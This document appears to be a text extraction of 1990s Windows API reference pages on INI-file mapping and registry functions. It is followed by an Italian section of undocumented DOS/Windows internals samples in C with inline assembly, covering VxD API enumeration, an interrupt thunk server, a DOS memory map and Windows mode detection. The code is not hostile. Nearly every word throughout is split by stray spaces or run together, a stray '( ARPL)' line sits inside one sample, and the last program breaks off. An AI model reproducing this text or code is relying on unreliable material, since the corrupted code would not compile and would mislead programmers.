An appl i cat i on usi ng t he Wr i t ePr i vat ePr of i l eSt r i ngWf unct i on t o ent er . I NI f i l e
i nf or mat i on i nt o t he r egi st r y shoul d f ol l ow t hese gui del i nes:


Ensur e t hat no . I NI f i l e of t he speci f i ed name exi st s on t he syst em.

Ensur e t hat t her e i s a key ent r y i n t he r egi st r y t hat speci f i es t he . I NI f i l e.
Thi s ent r y shoul d be under t he pat h HKEY_LOCAL_MACHI NE\ SOFTWARE
\ Mi cr osof t \ Wi ndows NT\ Cur r ent Ver si on\ I ni Fi l eMappi ng.

Speci f y a val ue f or t hat . I NI f i l e key ent r y t hat speci f i es a sect i on. That i s
t o say, an appl i cat i on must speci f y a sect i on name, as i t woul d appear wi t hi n an
. I NI f i l e or r egi st r y ent r y. Her e i s an exampl e: [ My Sect i on] .


For syst emf i l es, speci f y SYS f or an added val ue.

For appl i cat i on f i l es, speci f y USR wi t hi n t he added val ue. Her e i s an exampl e:
" My Sect i on: USR: App Name\ Sect i on" . And, si nce USR i ndi cat es a mappi ng under
HKEY_CURRENT_USER, t he appl i cat i on shoul d al so cr eat e a key under
HKEY_CURRENT_USER t hat speci f i es t he appl i cat i on name l i st ed i n t he added val ue.
For t he exampl e j ust gi ven, t hat woul d be " App Name" .

Af t er f ol l owi ng t he pr ecedi ng st eps, an appl i cat i on set up pr ogr amshoul d cal l
Wr i t ePr i vat ePr of i l eSt r i ngWwi t h t he f i r st t hr ee par amet er s set t o NULL, and t he
f our t h par amet er set t o t he I NI f i l ename. For exampl e:


Wr i t ePr i vat ePr of i l eSt r i ngW( NULL, NULL, NULL, L" appname. i ni " ) ;


Such a cal l causes t he mappi ng of an . I NI f i l e t o t he r egi st r y t o t ake ef f ect
bef or e t he next syst emr eboot . The oper at i ng syst emr e- r eads t he mappi ng
i nf or mat i on i nt o shar ed memor y. A user wi l l not have t o r eboot t hei r comput er
af t er i nst al l i ng an appl i cat i on i n or der t o have f ut ur e i nvocat i ons of t he
appl i cat i on see t he mappi ng of t he . I NI f i l e t o t he r egi st r y.

The f ol l owi ng sampl e code i l l ust r at es t he pr ecedi ng gui del i nes and i s based on
sever al assumpt i ons:


Ther e i s an appl i cat i on named " App Name. "

That appl i cat i on uses an . I NI f i l e named " appname. i ni . "

Ther e i s a sect i on i n t he . I NI f i l e t hat we want t o l ook l i ke t hi s:

[ Sect i on1]
Fi r st Key = I t al l wor ked out okay.
SecondKey = By gol l y, i t wor ks.
Thi r dKey = Anot her t est .


The user wi l l not have t o r eboot t he syst emi n or der t o have f ut ur e
i nvocat i ons of t he appl i cat i on see t he mappi ng of t he . I NI f i l e t o t he r egi st r y.

Her e i s t he sampl e code :



/ / i ncl ude f i l es
#i ncl ude <st di o. h>
#i ncl ude <wi ndows. h>

/ / a mai n f unct i on
mai n( )

{
/ / l ocal var i abl es
CHAR i nBuf [ 80] ;
HKEY hKey1, hKey2;
DWORD dwDi sposi t i on;
LONG l Ret Code;

/ / t r y t o cr eat e t he . I NI f i l e key
l Ret Code = RegCr eat eKeyEx ( HKEY_LOCAL_MACHI NE,
" SOFTWARE\ \ Mi cr osof t \ \ Wi ndows NT
\ \ Cur r ent Ver si on\ \ I ni Fi l eMappi ng\ \ appname. i ni " ,
0, NULL, REG_OPTI ON_NON_VOLATI LE, KEY_WRI TE,

NULL, &hKey1,
&dwDi sposi t i on) ;

/ / i f we f ai l ed, not e i t , and l eave
i f ( l Ret Code ! = ERROR_SUCCESS) {
pr i nt f ( " Er r or i n cr eat i ng appname. i ni key\ n" ) ;
r et ur n ( 0) ;
}

/ / t r y t o set a sect i on val ue
l Ret Code = RegSet Val ueEx ( hKey1,
" Sect i on1" ,
0,
REG_SZ,
" USR: App Name\ \ Sect i on1" ,

20) ;

/ / i f we f ai l ed, not e i t , and l eave
i f ( l Ret Code ! = ERROR_SUCCESS) {
pr i nt f ( " Er r or i n set t i ng Sect i on1 val ue\ n" ) ;
r et ur n ( 0) ;
}

/ / t r y t o cr eat e an App Name key
l Ret Code = RegCr eat eKeyEx ( HKEY_CURRENT_USER,
" App Name" ,
0, NULL, REG_OPTI ON_NON_VOLATI LE, KEY_WRI TE,
NULL, &hKey2,
&dwDi sposi t i on) ;


/ / i f we f ai l ed, not e i t , and l eave
i f ( l Ret Code ! = ERROR_SUCCESS) {
pr i nt f ( " Er r or i n cr eat i ng App Name key\ n" ) ;
r et ur n ( 0) ;
}

/ / f or ce t he oper at i ng syst emt o r e- r ead t he mappi ng i nt o shar ed memor y
/ / so t hat f ut ur e i nvocat i ons of t he appl i cat i on wi l l see i t
/ / wi t hout t he user havi ng t o r eboot t he syst em
Wr i t ePr i vat ePr of i l eSt r i ngW( NULL, NULL, NULL, L" appname. i ni " ) ;

/ / i f we get t hi s f ar , al l has gone wel l
/ / l et ' s wr i t e some added val ues

Wr i t ePr i vat ePr of i l eSt r i ng ( " Sect i on1" , " Fi r st Key" ,
" I t al l wor ked out okay. " , " appname. i ni " ) ;
Wr i t ePr i vat ePr of i l eSt r i ng ( " Sect i on1" , " SecondKey" ,
" By gol l y, i t wor ks. " , " appname. i ni " ) ;
Wr i t ePr i vat ePr of i l eSect i on ( " Sect i on1" , " Thi r dKey = Anot her Test . " ,
" appname. i ni " ) ;

/ / l et ' s t est our wor k
Get Pr i vat ePr of i l eSt r i ng ( " Sect i on1" , " Fi r st Key" ,
" Bogus Val ue: Get di dn' t wor k" , i nBuf , 80,

" appname. i ni " ) ;
pr i nt f ( " %s" , i nBuf ) ;

/ / okay, we ar e out t a her e
r et ur n( 0) ;

}


See Al so

Get Pr i vat ePr of i l eSt r i ng

GetPrivateProfileSection

The Get Pr i vat ePr of i l eSect i on f unct i on r et r i eves al l of t he keys and val ues f or
t he speci f i ed sect i on f r oman i ni t i al i zat i on f i l e. Thi s f unct i on i s pr ovi ded f or
compat i bi l i t y wi t h 16- bi t appl i cat i ons wr i t t en f or Wi ndows. Wi n32- based
appl i cat i ons shoul d st or e i ni t i al i zat i on i nf or mat i on i n t he r egi st r y.

Wi ndows 95:

The speci f i ed pr of i l e sect i on must not exceed 32K.

Wi ndows NT:

The speci f i ed pr of i l e sect i on has no si ze l i mi t .

DWORD Get Pr i vat ePr of i l eSect i on(
LPCTSTR l pAppName, / / addr ess of sect i on name

LPTSTR l pRet ur nedSt r i ng, / / addr ess of r et ur n buf f er
DWORD nSi ze, / / si ze of r et ur n buf f er
LPCTSTR l pFi l eName / / addr ess of i ni t i al i zat i on f i l ename
) ;

Par amet er s

l pAppName

Poi nt s t o a nul l - t er mi nat ed st r i ng cont ai ni ng t he sect i on name i n t he
i ni t i al i zat i on f i l e.

l pRet ur nedSt r i ng

Poi nt s t o a buf f er t hat r ecei ves t he key name and val ue pai r s associ at ed wi t h
t he named sect i on. The buf f er i s f i l l ed wi t h one or mor e nul l - t er mi nat ed
st r i ngs; t he l ast st r i ng i s f ol l owed by a second nul l char act er .

nSi ze

Speci f i es t he si ze, i n char act er s, of t he buf f er poi nt ed t o by t he
l pRet ur nedSt r i ng par amet er .

Wi ndows 95:

The maxi mumbuf f er si ze i s 32, 767 char act er s.

Wi ndows NT:

Ther e i s no maxi mumbuf f er si ze.

l pFi l eName

Poi nt s t o a nul l - t er mi nat ed st r i ng t hat names t he i ni t i al i zat i on f i l e. I f t hi s
par amet er does not cont ai n a f ul l pat h t o t he f i l e, Wi ndows sear ches f or t he
f i l e i n t he Wi ndows di r ect or y.

Ret ur n Val ues

The r et ur n val ue speci f i es t he number of char act er s copi ed t o t he buf f er , not
i ncl udi ng t he t er mi nat i ng nul l char act er . I f t he buf f er i s not l ar ge enough t o
cont ai n al l t he key name and val ue pai r s associ at ed wi t h t he named sect i on, t he
r et ur n val ue i s equal t o nSi ze mi nus t wo.

Remar ks

The dat a i n t he buf f er poi nt ed t o by t he l pRet ur nedSt r i ng par amet er consi st s of
one or mor e nul l - t er mi nat ed st r i ngs, f ol l owed by a f i nal nul l char act er . Each
st r i ng has t he f ol l owi ng f or mat :

key=st r i ng

The Get Pr i vat ePr of i l eSect i on f unct i on i s not case- sensi t i ve; t he st r i ng poi nt ed
t o by t he l pAppName par amet er can be a combi nat i on of upper case and l ower case
l et t er s.

Thi s oper at i on i s at omi c; no updat es t o t he speci f i ed i ni t i al i zat i on f i l e ar e
al l owed whi l e t he key name and val ue pai r s f or t he sect i on ar e bei ng copi ed t o
t he buf f er poi nt ed t o by t he l pRet ur nedSt r i ng par amet er .

Wi ndows NT:

Cal l s t o pr i vat e pr of i l e f unct i ons may be mapped t o t he r egi st r y i nst ead of t o
t he speci f i ed i ni t i al i zat i on f i l es. Thi s mappi ng occur s when t he i ni t i al i zat i on
f i l e and sect i on ar e speci f i ed i n t he r egi st r y under t he f ol l owi ng keys:

HKEY_LOCAL_MACHI NE\ Sof t war e\ Mi cr osof t \
Wi ndows NT\ Cur r ent Ver si on\ I ni Fi l eMappi ng

Thi s mappi ng i s l i kel y i f an appl i cat i on modi f i es syst em- component
i ni t i al i zat i on f i l es, such as CONTROL. I NI , SYSTEM. I NI , and WI NFI LE. I NI . I n t hese
cases, t he Get Pr i vat ePr of i l eSect i on f unct i on r et r i eves i nf or mat i on f r om t he
r egi st r y, not f r om t he i ni t i al i zat i on f i l e; t he change i n t he st or age l ocat i on
has no ef f ect on t he f unct i on' s behavi or .

The Wi n32 Pr of i l e f unct i ons ( Get / Wr i t ePr of i l e*, Get / Wr i t ePr i vat ePr of i l e*) use
t he f ol l owi ng st eps t o l ocat e i ni t i al i zat i on i nf or mat i on:

1. Look i n t he r egi st r y f or t he name of t he i ni t i al i zat i on f i l e, say myf i l e. i ni ,
under I ni Fi l eMappi ng:

HKEY_LOCAL_MACHI NE\ Sof t war e\ Mi cr osof t \
Wi ndows NT\ Cur r ent Ver si on\ I ni Fi l eMappi ng\ myf i l e. i ni

2. Look f or t he sect i on name speci f i ed by l pAppName. Thi s wi l l be a named val ue
under myf i l e. i ni , or a subkey of myf i l e. i ni , or wi l l not exi st .

3. I f t he sect i on name speci f i ed by l pAppName i s a named val ue under myf i l e. i ni ,
t hen t hat val ue speci f i es wher e i n t he r egi st r y you wi l l f i nd t he keys f or t he
sect i on.

4. I f t he sect i on name speci f i ed by l pAppName i s a subkey of myf i l e. i ni , t hen
named val ues under t hat subkey speci f y wher e i n t he r egi st r y you wi l l f i nd t he
keys f or t he sect i on. I f t he key you ar e l ooki ng f or does not exi st as a named
val ue, t hen t her e wi l l be an unnamed val ue ( shown as " <No Name>" ) t hat speci f i es
t he def aul t l ocat i on i n t he r egi st r y wher e you wi l l f i nd t he key.

5. I f t he sect i on name speci f i ed by l pAppName does not exi st as a named val ue or
as a subkey under myf i l e. i ni , t hen t her e wi l l be an unnamed val ue ( shown as " <No
Name>" ) under myf i l e. i ni t hat speci f i es t he def aul t l ocat i on i n t he r egi st r y
wher e you wi l l f i nd t he keys f or t he sect i on.

6. I f t her e i s no subkey f or myf i l e. i ni , or i f t her e i s no ent r y f or t he sect i on
name, t hen l ook f or t he act ual myf i l e. i ni on t he di sk and r ead i t s cont ent s.

When l ooki ng at val ues i n t he r egi st r y t hat speci f y ot her r egi st r y l ocat i ons,
t her e ar e sever al pr ef i xes t hat change t he behavi or of t he i ni f i l e mappi ng:

! - t hi s char act er f or ces al l wr i t es t o go bot h t o t he r egi st r y and t o t he . I NI
f i l e on di sk.

# - t hi s char act er causes t he r egi st r y val ue t o be set t o t he val ue i n t he
Wi ndows 3. 1 . I NI f i l e when a new user l ogs i n f or t he f i r st t i me af t er set up.

@- t hi s char act er pr event s any r eads f r omgoi ng t o t he . I NI f i l e on di sk i f t he
r equest ed dat a i s not f ound i n t he r egi st r y.

USR: - t hi s pr ef i x st ands f or HKEY_CURRENT_USER, and t he t ext af t er t he pr ef i x
i s r el at i ve t o t hat key.

SYS: - t hi s pr ef i x st ands f or HKEY_LOCAL_MACHI NE\ SOFTWARE, and t he t ext af t er
t he pr ef i x i s r el at i ve t o t hat key.

See Al so

Get Pr of i l eI nt

RegDeleteValue

The RegDel et eVal ue f unct i on r emoves a named val ue f r om t he speci f i ed r egi st r y
key.

LONG RegDel et eVal ue(

HKEY hKey, / / handl e of key
LPCTSTR l pVal ueName / / addr ess of val ue name
) ;

Par amet er s

hKey

I dent i f i es a cur r ent l y open key or any of t he f ol l owi ng pr edef i ned r eser ved
handl e val ues:

HKEY_CLASSES_ROOT
HKEY_CURRENT_USER
HKEY_LOCAL_MACHI NE
HKEY_USERS

l pVal ueName

Poi nt s t o a nul l - t er mi nat ed st r i ng t hat names t he val ue t o r emove. I f t hi s
par amet er i s NULL or poi nt s t o an empt y st r i ng, t he val ue set by t he RegSet Val ue
f unct i on i s r emoved.

Ret ur n Val ues

I f t he f unct i on succeeds, t he r et ur n val ue i s ERROR_SUCCESS.

I f t he f unct i on f ai l s, t he r et ur n val ue i s a nonzer o er r or code def i ned i n
WI NERROR. H. You can use t he For mat Message f unct i on wi t h t he
FORMAT_MESSAGE_FROM_SYSTEM f l ag t o get a gener i c descr i pt i on of t he er r or .

Remar ks

The key i dent i f i ed by t he hKey par amet er must have been opened wi t h
KEY_SET_VALUE access ( KEY_WRI TE access i ncl udes KEY_SET_VALUE access) .

See Al so

RegSet Val ue


ALCUNI SEGRETI DI WINDOWS

Fi no ad or a l e api vi st e er ano r el at i ve al l e f unzi oni document at e.
Per mot i vi di mancat a si cur ezza nei conf r ont i del l a possi bi l i t di f ar r i mener e
pr esent i nel l e successi ve ver si oni di Wi ndows, al cune f unzi oni non sono st at e
document at e.
Qui ne vedr emo al cune r i por t ando anche i sor gent i C di al cune di l or o.

TESTA IL BIT PE (PROTECT ENABLE) NELLA MSW (Machine Status Word)

/ * bcc 2 pe. c */

#i ncl ude <st di o. h>

mai n( )
{
unsi gned msw;
unsi gned i opl ;

_asmpushf
_asmpop ax
_asmshr ax, 12
_asmand ax, 3
_asmmov wor d pt r i opl , ax
pr i nt f ( " I OPL=%d\ n" , i opl ) ;

_asmsmsw ax / * St or e Machi ne St at us Wor d: l ow CR0 */
_asmmov msw, ax
pr i nt f ( " PE ( pr ot ect enabl e) bi t %s\ n" ,
( msw & 1) ? " SET" : " NOT set " ) ;
r et ur n ( msw & 1) ;
}


Virtual-8086 (V86) VxD APIs

#i ncl ude <st di o. h>
#i ncl ude <dos. h>

t ypedef unsi gned char BYTE;
t ypedef unsi gned shor t WORD;
t ypedef unsi gned l ong DWORD;

t ypedef DWORD ( f ar *FUNCPTR) ( voi d) ;

/ / cal l t he Wi ndows " Get Devi ce Ent r y Poi nt Addr ess" f unct i on
/ / I nt er r upt 2Fh Funct i on 1684h
FUNCPTR Get Devi ceAPI ( WORD vxd_i d)
{
_asm{
push di
push es
xor di , di
mov es, di
mov ax, 1684h
mov bx, vxd_i d
i nt 2f h
mov ax, di
mov dx, es
pop es
pop di
}
/ / r et ur n val ue i n DX: AX
}

i nt I sEnhancedMode( voi d)
{
_asm{
mov ax, 1600h
i nt 2f h
t est al , 7f h
j z no
}
r et ur n 1;
no: r et ur n 0;
}
voi d f ai l ( const char *s, . . . ) { put s( s) ; exi t ( 1) ; }
i nt mai n( )
{
WORD i ;
FUNCPTR f p;

i f ( ! I sEnhancedMode( ) )
f ai l ( " Thi s pr ogr amr equi r es Wi ndows Enhanced mode" ) ;

put s( " Vi r t ual - 8086 ( V86) VxD API s: " ) ;
/ / f or each possi bl e devi ce i d, see i f t her e' s an API
f or ( i =0; i <0xf f f f ; i ++)
i f ( f p = Get Devi ceAPI ( i ) )
pr i nt f ( " %04Xh %Fp %0l X %02X\ n" ,
i , / / VxD I D
f p, / / V86 ent r y poi nt
( ( DWORD) FP_SEG( f p) << 4) + FP_OFF( f p) , / / l i near addr
*( ( BYTE f ar *) f p) ) ; / / byt e
( ARPL)
r et ur n 0;
}
Toy Win16 Server for FWORD.C (Win32->Win16 Thunk demo)

/ *
Wi n32 app can cal l I NT 21h, I NT 2Fh, or I NT 31h vi a I NTSERV

bcc - W- 3 - B i nt ser v. c

f r omSchul man, Unaut hor i zed Wi ndows, 1994
*/

#i ncl ude <st dl i b. h>
#i ncl ude <st di o. h>
#i ncl ude <dos. h>
#def i ne NOGDI
#i ncl ude " wi ndows. h"

st at i c char dummy; / / j ust somet hi ng t o t ake seg of

/ / st at i c var s: onl y one cal l er at a t i me
#def i ne SERVER( cal l s, i nt no) { \
st at i c char st ack[ 1024] ; \
st at i c unsi gned st ack_seg; \
st at i c unsi gned pr ev_seg; \
st at i c unsi gned l ong pr ev_of s; \
st at i c unsi gned pr ev_ds; \
_asm{ \
push ax; \
push bx; \
mov ax, ds; \
mov bx, seg dummy; \
mov ds, bx; \
mov st ack_seg, bx; \
mov pr ev_ds, ax; \
pop bx; \
pop ax; \
mov pr ev_seg, ss; \
mov dwor d pt r pr ev_of s, esp; \
mov ss, st ack_seg; \
mov sp, of f set st ack; \
add sp, 512; \
} \
cal l s++; \
_asm{ \
i nt i nt no; \
mov ss, pr ev_seg; \
mov esp, dwor d pt r pr ev_of s; \
mov ds, pr ev_ds; \
db 66h; \
r et f ; \
} \
}

unsi gned l ong cal l s21 = 0;
unsi gned l ong cal l s2F = 0;
unsi gned l ong cal l s31 = 0;

voi d ser ver 21( voi d) { SERVER( cal l s21, 0x21) ; }
voi d ser ver 2F( voi d) { SERVER( cal l s2F, 0x2F) ; }
voi d ser ver 31( voi d) { SERVER( cal l s31, 0x31) ; }

i nt PASCAL Wi nMai n( HANDLE hI nst ance, HANDLE hpr ev21I nst ance,
LPSTR l pszCmdLi ne, i nt nCmdShow)
{
char buf [ 120] ;
i nt l en;

l en = spr i nt f ( buf , " I NT 21h ser ver @%Fp\ n" , ( voi d f ar *) ser ver 21) ;
l en += spr i nt f ( buf +l en, " I NT 2Fh ser ver @%Fp\ n" , ( voi d f ar *) ser ver 2F) ;
l en += spr i nt f ( buf +l en, " I NT 31h ser ver @%Fp" , ( voi d f ar *) ser ver 31) ;
MessageBox( 0, buf , " I NTSERV" , MB_OK) ;

/ / ser ver s ar e act i ve unt i l cl i ck MB_OK above

l en = spr i nt f ( buf , " %l u cal l s t o I NT 21h ser ver \ n" , cal l s21) ;
l en += spr i nt f ( buf +l en, " %l u cal l s t o I NT 2Fh ser ver \ n" , cal l s2F) ;
l en += spr i nt f ( buf +l en, " %l u cal l s t o I NT 31h ser ver " , cal l s31) ;
MessageBox( 0, buf , " I NTSERV" , MB_OK) ;
r et ur n 0;
}

MAPPA I DEVICE IN MEMORIA

/ *
MAP. C
f r om" Undocument ed DOS" , 2nd edi t i on ( Addi son- Wesl ey, 1993)

bcc i nt vect . c map. c
bcc i nt chai n. c map. c
bcc - DTESTI NG map. c
*/

#i ncl ude <st dl i b. h>
#i ncl ude <st di o. h>
#i ncl ude <st r i ng. h>
#i ncl ude <dos. h>

t ypedef unsi gned char BYTE;
t ypedef unsi gned shor t WORD;
t ypedef unsi gned l ong DWORD;
t ypedef voi d f ar *FP;

#i f ndef MK_FP
#def i ne MK_FP( s, o) ( ( ( ( DWORD) s) << 16) + ( o) )
#endi f

#pr agma pack( 1)

t ypedef st r uct {
DWORD st ar t , end;
char name[ 9] ;
} BLOCK;

st at i c BLOCK *map;
st at i c i nt num_bl ock = 0;

i nt cmp_f unc( const voi d *b1, const voi d *b2)
{
i f ( ( ( BLOCK *) b1) - >st ar t < ( ( BLOCK *) b2) - >st ar t ) r et ur n - 1;
el se i f ( ( ( BLOCK *) b1) - >st ar t > ( ( BLOCK *) b2) - >st ar t ) r et ur n 1;
el se r et ur n 0;
}

t ypedef st r uct {
BYTE t ype; / * ' M' =i n chai n; ' Z' =at end */
WORD owner ; / * PSP of t he owner */
WORD si ze; / * i n 16- byt e par agr aphs */
BYTE unused[ 3] ;
BYTE name[ 8] ; / * i n DOS 4+ */
} MCB;

#def i ne I S_PSP( mcb) ( FP_SEG( mcb) + 1 == ( mcb) - >owner )

WORD get _f i r st _mcb( voi d)
{
_asmmov ah, 52h
_asmi nt 21h
_asmmov ax, es: [ bx- 2]
/ / r et val i n AX
}

t ypedef st r uct DEV {
st r uct DEV f ar *next ;
WORD at t r , st r at egy, i nt r ;
uni on {
BYTE name[ 8] , bl k_cnt ;
} u;
} DEV;

#def i ne I S_CHAR_DEV( dev) ( ( dev) - >at t r & ( 1 << 15) )

DEV f ar *get _nul _dev( voi d)
{
_asmmov ah, 52h
_asmi nt 21h
_asmmov dx, es
_asml ea ax, [ bx+22h]
/ / r et val i n DX: AX
}

i nt get _num_bl ock_dev( DEV f ar *dev)
{
/ / can' t r el y on # bl ock devi ces at SysVar s+20?
i nt num_bl k = 0;
do {
i f ( ! I S_CHAR_DEV( dev) )
num_bl k += dev- >u. bl k_cnt ;
dev = dev- >next ;
} whi l e( FP_OFF( dev- >next ) ! = ( WORD) - 1) ;
r et ur n num_bl k;
}

WORD get _umb_l i nk( voi d)
{
_asmmov ax, 5802h
_asmi nt 21h
_asmxor ah, ah
/ / r et ur n val ue i n AX
}

WORD set _umb_l i nk( WORD f l ag)
{
_asmmov ax, 5803h
_asmmov bx, f l ag
_asmi nt 21h
_asmj c er r or
_asmxor ax, ax
er r or : ;
/ / r et ur n 0 or er r or code i n AX
}

WORD get _dos_ds( voi d)
{
_asmpush ds
_asmmov ax, 1203h
_asmi nt 2f h
_asmmov ax, ds
_asmpop ds
/ / r et val i n AX
}

/ * f i nd I O. SYS segment wi t h bui l t - i n dr i ver s */
WORD get _i o_seg( voi d)
{
WORD i o_seg = 0;
DEV f ar *dev = get _nul _dev( ) ;
do {
i f ( I S_CHAR_DEV( dev) )
i f ( _f st r ncmp( dev- >u. name, " CON " , 8) == 0)
i o_seg = FP_SEG( dev) ; / / we' l l t ake t he l ast one
dev = dev- >next ;
} whi l e( FP_OFF( dev- >next ) ! = ( WORD) - 1) ;
r et ur n i o_seg;
}

st at i c i nt di d_i ni t = 0;

voi d do_i ni t ( voi d)
{
MCB f ar *mcb;
DEV f ar *dev;
WORD dos_ds, i o_seg, mcb_seg, next _seg, save_l i nk;
BLOCK *bl ock;
i nt bl k, i ;

map = ( BLOCK *) cal l oc( 100, si zeof ( BLOCK) ) ;
bl ock = map;

i o_seg = get _i o_seg( ) ;
bl ock- >st ar t = i o_seg << 4; bl ock- >end = ( DWORD) - 1;
st r cpy( bl ock- >name, " I O" ) ;
bl ock++;

dos_ds = get _dos_ds( ) ;
bl ock- >st ar t = dos_ds << 4; bl ock- >end = ( DWORD) - 1;
st r cpy( bl ock- >name, " DOS" ) ;
bl ock++;

/ / shoul d r eal l y check i f t her e I S an HMA!
bl ock- >st ar t = 0x100000L; bl ock- >end = 0x10FFEEL;
st r cpy( bl ock- >name, " HMA" ) ;
bl ock++;
num_bl ock = 3;

/ * wal k MCB chai n, l ooki ng f or PSPs, i nt er r upt owner s */
i f ( _osmaj or >= 4)
{
mcb_seg = get _f i r st _mcb( ) ;
mcb = ( MCB f ar *) MK_FP( mcb_seg, 0) ;

i f ( _osmaj or >= 5) / / be l azy; see ch. 7 f or DOS < 5
{
save_l i nk = get _umb_l i nk( ) ;
set _umb_l i nk( 1) ; / / access UMBs t oo
}

f or ( ; ; )
{
next _seg = mcb_seg + mcb- >si ze + 1;
i f ( I S_PSP( mcb) )
{
bl ock- >st ar t = ( ( DWORD) mcb_seg) << 4;
bl ock- >end = ( ( DWORD) next _seg) << 4;
_f st r ncpy( bl ock- >name, mcb- >name, 8) ;
bl ock- >name[ 8] = ' \ 0' ;
bl ock++;
num_bl ock++;
}
mcb_seg = next _seg;

i f ( mcb- >t ype == ' M' )
mcb = ( MCB f ar *) MK_FP( next _seg, 0) ;
el se
br eak;
}
}

/ * wal k devi ce chai n l ooki ng f or non- bui l t i n dr i ver s */
dev = get _nul _dev( ) ;
bl k = get _num_bl ock_dev( dev) ;
do {
MCB f ar *dev_mcb;
i f ( ( FP_SEG( dev) ! = dos_ds) && ( FP_SEG( dev) ! = i o_seg) )
{
bl ock- >st ar t = ( ( ( DWORD) FP_SEG( dev) ) << 4) + FP_OFF( dev) ;
dev_mcb = ( MCB f ar *) MK_FP( FP_SEG( dev) - 1, 0) ;
i f ( dev_mcb- >owner == 8)
{
dev = dev- >next ;
cont i nue;
}
i f ( dev_mcb- >t ype == ' M' )
bl ock- >end = bl ock- >st ar t + ( ( DWORD) dev_mcb- >si ze << 4) ;
el se
bl ock- >end = ( DWORD) - 1;
i f ( I S_CHAR_DEV( dev) )
{
_f st r ncpy( bl ock- >name, dev- >u. name, 8) ;
bl ock- >name[ 8] = ' \ 0' ;
}
el se
{
/ / t o det er mi ne dr i ve l et t er , have t o wor k backwar ds
/ / f r omnumber of bl ock devi ces
bl k - = dev- >u. bl k_cnt ;
bl ock- >name[ 0] = bl k + ' A' ;
bl ock- >name[ 1] = ' : ' ;
bl ock- >name[ 2] = ' \ 0' ;
}
bl ock++;
num_bl ock++;
}
dev = dev- >next ;
} whi l e( FP_OFF( dev- >next ) ! = ( WORD) - 1) ;

i f ( _osmaj or >= 5)
set _umb_l i nk( save_l i nk) ;

qsor t ( map, num_bl ock, si zeof ( BLOCK) , cmp_f unc) ;

f or ( i =0, bl ock=map; i <num_bl ock- 1; i ++, bl ock++)
i f ( bl ock- >end == ( DWORD) - 1)
bl ock- >end = map[ i +1] . st ar t ;
i f ( bl ock- >end == ( DWORD) - 1) / / l ast one
bl ock- >end = 0xFFFFFL;

di d_i ni t = 1;
}

char *f i nd_owner ( DWORD l i n_addr )
{
BLOCK *bl ock;
i nt i ;

i f ( ! di d_i ni t )
do_i ni t ( ) ;

f or ( i =0, bl ock=map; i <num_bl ock; i ++, bl ock++)
i f ( ( l i n_addr >= bl ock- >st ar t ) &&
( l i n_addr <= bl ock- >end) )
r et ur n bl ock- >name;

/ * st i l l her e */
r et ur n ( char *) 0;
}

#i f def TESTI NG
mai n( )
{
BLOCK *bl ock;
i nt i ;
do_i ni t ( ) ;
f or ( i =0, bl ock=map; i <num_bl ock; i ++, bl ock++)
pr i nt f ( " %08l X %08l X %s\ n" ,
bl ock- >st ar t , bl ock- >end, bl ock- >name) ;
}
#endi f

Detecting Windows mode, version from DOS

/ *
I SWI N. C
Andr ew Schul man, Febr uar y 1993
f r om" Undocument ed DOS" , 2nd edi t i on ( Addi son- Wesl ey, 1993)

bcc - DSTANDALONE i swi n. c
*/

#i ncl ude <st dl i b. h>
#i ncl ude <st di o. h>
#i ncl ude <dos. h>

#def i ne REAL_MODE 1
#def i ne STANDARD_MODE 2
#def i ne ENHANCED_MODE 3

#def i ne SYSTEM_VM 1

i nt det ect _swi t cher ( voi d)
{
i nt r et val = 1;
_asmpush di
_asmpush es
_asmxor bx, bx
_asmmov di , bx
_asmmov es, bx
_asmmov ax, 4b02h
_asmi nt 2f h
_asmmov cx, es
_asmor cx, di
_asmj e no_swi t cher
done:
_asmpop es
_asmpop di
r et ur n r et val ;
no_swi t cher :
r et val = 0;
got o done;
}

i nt i s_wi n( i nt *pmaj , i nt *pmi n, i nt *pmode)
{
unsi gned shor t r et val ;
i nt maj =0, mi n=0, mode=0;

/ * make sur e someone, anyone has I NT 2Fh */
i f ( _dos_get vect ( 0x2F) == 0)
r et ur n 0;

/ * cal l 2F/ 160A t o see i f Wi ndows 3. 1+ */
_asmmov ax, 160ah
_asmi nt 2f h
_asmmov r et val , ax
i f ( r et val == 0) / * AX=0 i f Wi ndows r unni ng */
{
_asmmov mode, cx / * CX=2 means St d; CX=3 means Enh */
_asmmov byt e pt r maj , bh / * BX = maj or / mi nor ( e. g. , 030Ah) */
_asmmov byt e pt r mi n, bl
*pmaj = maj ;
*pmi n = mi n;
*pmode = mode;
r et ur n 1;
}

/ * cal l 2F/ 1600 t o see i f Wi ndows 3. 0 Enhanced mode or Wi ndows/ 386 */
_asmmov ax, 1600h
_asmi nt 2f h
_asmmov byt e pt r maj , al
_asmmov byt e pt r mi n, ah
i f ( ( maj == 1) | | ( maj == 0xFF) ) / * Wi ndows/ 386 2. x i s r unni ng */
{
*pmaj = 2; / * Wi ndows/ 386 2. x */
*pmi n = 1; / * don' t know; assume 2. 1? */
*pmode = ENHANCED_MODE; / * Wi ndows/ 386 sor t of l i ke Enhanced */
r et ur n 1;
}
el se i f ( ! ( ( maj == 0) | | ( maj == 0x80) ) ) / * AL=0 or 80h i f no Wi ndows */
{ / * must be Wi ndows 3. 0 Enhanced mode */
*pmaj = maj ;
*pmi n = mi n;
*pmode = ENHANCED_MODE;
r et ur n 1;
}

/ * cal l 2F/ 4680 t o see i f Wi ndows 3. 0 St andar d or Real mode; but ,
t hi s coul d be a " 3. 0 der i vat i ve" such as DOSSHELL t ask swi t cher ! */
_asmmov ax, 4680h
_asmi nt 2f h
_asmmov r et val , ax
i f ( r et val == 0) / * AX=0 i f 2F/ 4680 handl ed */
{
/ * make sur e i t i sn' t DOSSHELL t ask swi t cher */
i f ( det ect _swi t cher ( ) )
r et ur n 0;
*pmaj = 3;
*pmi n = 0;

/ * ei t her have Wi ndows St andar d mode or Real mode; t o
di st i ngui sh, have t o do f ake Wi ndows br oadcast s wi t h
2F/ 1605. Yuk! We' l l avoi d t hat her e by assumi ng
3. 0 St andar d mode. I f you r eal l y want t o di st i ngui sh
3. 0 St andar d mode and Real mode, see _MSJ _, Mar ch 1991,
p. 113; and MS KB ar t i cl es Q75943 and Q75338 */
*pmode = STANDARD_MODE;
r et ur n 1;
}

/ * st i l l her e - - must not be r unni ng Wi ndows */
r et ur n 0;
}

#i f def STANDALONE
mai n( )
{
i nt maj , mi n, mode=0;
i f ( ! i s_wi n( &maj , &mi n, &mode) )
pr i nt f ( " Wi ndows i s not r unni ng\ n" ) ;
el se i f ( maj == 2)
pr i nt f ( " Runni ng Wi ndows/ 386 2. x\ n" ) ;
el se
